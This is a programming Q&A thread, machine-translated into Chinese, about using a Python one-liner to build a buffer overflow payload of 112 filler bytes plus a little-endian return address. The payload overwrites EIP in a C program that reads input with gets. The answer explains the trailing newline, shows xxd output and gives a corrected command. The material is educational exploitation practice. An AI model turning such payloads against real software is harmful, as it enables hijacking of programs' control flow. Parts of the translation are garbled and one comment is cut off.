如何用python生成缓冲区溢出的有效载荷?

问题描述:

我试图挑起一个缓冲区溢出,以便在C代码上执行一个函数。到目前为止,我已经设法找出接收EBP寄存器的字节数。接下来的唯一事情就是将EIP的地址替换为我希望执行的函数。我试图用python生成这个有效载荷。为此,我用下面的如何用python生成缓冲区溢出的有效载荷?

python -c 'print "A"*112 + "\x3b\x86\x04\x08"' > attack_payload 

这是我得到

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;� 

注意那些过去的人物!我知道这不是我想要得到的。我希望在EIP寄存器上运行的地址是0804863b。为了使漏洞正常运行,我必须将其放在little endian上。对此有何评论?由于这个原因无法继续使用漏洞...

+0

如果去掉'> attack_payload'是EIP成功改写你的请求的地址? – DKNUCKLES

+0

@DKNUCKLES不确定我会怎么做,而不复制文件的内容,因为代码需要一些输入(字符串)来提供'gets'功能。 – fish202

我不知道如何查看您的attack_payload文件。但是,您不应该将其转储到终端或在某个编辑器中查看它 - 因为在这种情况下,数据将被解释为字符。相反,你应该做的文件的某些hexdump都可以,例如用XXD:

$ python -c 'print "A"*112 + "\x3b\x86\x04\x08"' > attack_payload 
$ xxd attack_payload 
00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 
... 
00000060: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 
00000070: 3b86 0408 0a        ;.... 

正如你可以在最后一行看到,字节\x3b\x86\x04\x08实际上大多是在那里你期望这些。您可能没有想到文件末尾的换行符\x0a(即\n),但这就是python中的print增加的内容。如果你不希望这个不要使用print但:

$ python -c 'import sys; sys.stdout.write("A"*112 + "\x3b\x86\x04\x08")' > attack_payload 
+0

我只是捕获该文件并将这些字符复制到stdin中(因为gets函数在程序中请求字符串)。我在一些教程中看到了这个过程。作为一个例子,输出应该看起来像这个'A(...)A ^D^H'执行该命令时。但是你所说的话对我来说是有道理的......既然如此,有没有办法将这个有效载荷传递给'gets'函数并溢出缓冲区? – fish202

+0

@ fish202:如果应用程序读取的内容是stdin,只是'app

+0

当然,但我不能像这样直接喂它。请按照[链接](https://pastebin.com/tv7zyvF0)的代码。 – fish202